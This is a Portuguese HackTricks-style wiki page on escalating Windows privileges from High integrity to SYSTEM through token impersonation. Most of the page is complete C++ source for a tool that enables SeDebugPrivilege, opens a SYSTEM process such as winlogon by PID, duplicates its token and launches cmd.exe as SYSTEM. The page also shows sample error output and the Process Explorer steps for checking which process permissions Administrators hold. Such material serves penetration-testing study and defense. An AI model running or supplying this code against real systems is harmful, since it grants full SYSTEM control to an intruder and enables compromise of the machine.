# SeImpersonate de High para System {{#include ../../banners/hacktricks-training.md}} ### Código O seguinte código de [aqui](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Ele permite **indicar um ID de Processo como argumento** e um CMD **executando como o usuário** do processo indicado será executado.\ Executando em um processo de Alta Integridade, você pode **indicar o PID de um processo executando como System** (como winlogon, wininit) e executar um cmd.exe como system. ```cpp impersonateuser.exe 1234 ``` ```cpp:impersonateuser.cpp // From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962 #include #include #include BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } std::string get_username() { TCHAR username[UNLEN + 1]; DWORD username_len = UNLEN + 1; GetUserName(username, &username_len); std::wstring username_w(username); std::string username_s(username_w.begin(), username_w.end()); return username_s; } int main(int argc, char** argv) { // Print whoami to compare to thread later printf("[+] Current user is: %s\n", (get_username()).c_str()); // Grab PID from command line argument char* pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); // Initialize variables and structures HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); // Add SE debug privilege HANDLE currentTokenHandle = NULL; BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) { printf("[+] SeDebugPrivilege enabled!\n"); } // Call OpenProcess(), print return code and error code HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } // Call OpenProcessToken(), print return code and error code BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } // Impersonate user in a thread BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); printf("[+] Current user is: %s\n", (get_username()).c_str()); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // Call DuplicateTokenEx(), print return code and error code BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // Call CreateProcessWithTokenW(), print return code and error code BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0; } ``` ### Erro Em algumas ocasiões, você pode tentar se passar pelo System e não funcionará, mostrando uma saída como a seguinte: ```cpp [+] OpenProcess() success! [+] OpenProcessToken() success! [-] ImpersonatedLoggedOnUser() Return Code: 1 [-] ImpersonatedLoggedOnUser() Error: 5 [-] DuplicateTokenEx() Return Code: 0 [-] DupicateTokenEx() Error: 5 [-] CreateProcessWithTokenW Return Code: 0 [-] CreateProcessWithTokenW Error: 1326 ``` Isso significa que mesmo que você esteja executando em um nível de Alta Integridade **você não tem permissões suficientes**.\ Vamos verificar as permissões atuais de Administrador sobre os processos `svchost.exe` com **processes explorer** (ou você também pode usar process hacker): 1. Selecione um processo de `svchost.exe` 2. Clique com o botão direito --> Propriedades 3. Dentro da aba "Segurança", clique no canto inferior direito no botão "Permissões" 4. Clique em "Avançado" 5. Selecione "Administradores" e clique em "Editar" 6. Clique em "Mostrar permissões avançadas" ![](<../../images/image (437).png>) A imagem anterior contém todos os privilégios que "Administradores" têm sobre o processo selecionado (como você pode ver, no caso de `svchost.exe`, eles têm apenas privilégios de "Consulta") Veja os privilégios que "Administradores" têm sobre `winlogon.exe`: ![](<../../images/image (1102).png>) Dentro desse processo, "Administradores" podem "Ler Memória" e "Ler Permissões", o que provavelmente permite que os Administradores imitem o token usado por esse processo. {{#include ../../banners/hacktricks-training.md}}